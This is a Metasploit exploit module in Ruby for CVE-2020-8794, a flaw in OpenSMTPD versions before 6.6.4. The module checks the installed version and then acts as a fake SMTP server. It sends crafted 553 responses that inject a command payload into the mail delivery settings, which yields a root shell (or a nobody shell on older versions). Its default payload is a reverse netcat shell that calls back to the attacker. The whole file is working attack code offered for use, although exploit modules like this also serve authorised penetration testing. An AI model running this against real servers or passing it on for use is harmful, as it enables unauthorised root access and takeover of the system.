Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
  
# smtpd(8) may crash on a malformed message  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Expect  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',  
'Description' => %q{  
This module exploits an out-of-bounds read of an attacker-controlled  
string in OpenSMTPD's MTA implementation to execute a command as the  
root or nobody user, depending on the kind of grammar OpenSMTPD uses.  
},  
'Author' => [  
'Qualys', # Discovery and PoC  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-8794'],  
['URL', 'https://seclists.org/oss-sec/2020/q1/96']  
],  
'DisclosureDate' => '2020-02-24',  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => true, # NOTE: Only when exploiting new grammar  
# Patched in 6.6.4: https://www.opensmtpd.org/security.html  
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546  
'Targets' => [  
['OpenSMTPD < 6.6.4 (automatic grammar selection)',  
patched_version: Gem::Version.new('6.6.4'),  
new_grammar_version: Gem::Version.new('6.4.0')  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SRVPORT' => 25,  
'PAYLOAD' => 'cmd/unix/reverse_netcat',  
'WfsDelay' => 60 # May take a little while for mail to process  
},  
'Notes' => {  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
))  
  
register_advanced_options([  
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])  
])  
  
# HACK: We need to run check in order to determine a grammar to use  
options.remove_option('AutoCheck')  
end  
  
def srvhost_addr  
Rex::Socket.source_address(session.session_host)  
end  
  
def rcpt_to  
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"  
end  
  
def check  
smtpd_help = cmd_exec('smtpd -h')  
  
if smtpd_help.empty?  
return CheckCode::Unknown('smtpd(8) help could not be displayed')  
end  
  
version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first  
  
unless version  
return CheckCode::Unknown('OpenSMTPD version could not be found')  
end  
  
version = Gem::Version.new(version)  
  
if version < target[:patched_version]  
if version >= target[:new_grammar_version]  
vprint_status("OpenSMTPD #{version} is using new grammar")  
@grammar = :new  
else  
vprint_status("OpenSMTPD #{version} is using old grammar")  
@grammar = :old  
end  
  
return CheckCode::Appears(  
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"  
)  
end  
  
CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
start_service  
  
sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"  
  
print_status("Executing local sendmail(8) command: #{sendmail}")  
if cmd_exec(sendmail) != 'true'  
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')  
end  
end  
  
def on_client_connect(client)  
print_status("Client #{client.peerhost}:#{client.peerport} connected")  
  
# Brilliant work, Qualys!  
case @grammar  
when :new  
print_status('Exploiting new OpenSMTPD grammar for a root shell')  
  
yeet = <<~EOF  
553-  
553  
  
dispatcher: local_mail  
type: mda  
mda-user: root  
mda-exec: #{payload.encoded}; exit 0\x00  
EOF  
when :old  
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')  
  
yeet = <<~EOF  
553-  
553  
  
type: mda  
mda-method: mda  
mda-usertable: <getpwnam>  
mda-user: nobody  
mda-buffer: #{payload.encoded}; exit 0\x00  
EOF  
else  
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')  
end  
  
sploit = {  
'220' => /EHLO /,  
'250' => /MAIL FROM:<[^>]/,  
yeet => nil  
}  
  
print_status('Faking SMTP server and sending exploit')  
sploit.each do |line, pattern|  
send_expect(  
line,  
pattern,  
sock: client,  
newline: "\r\n",  
timeout: datastore['ExpectTimeout']  
)  
end  
rescue Timeout::Error => e  
fail_with(Failure::TimeoutExpired, e.message)  
ensure  
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")  
client.close  
end  
  
def on_client_close(client)  
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")  
end  
  
end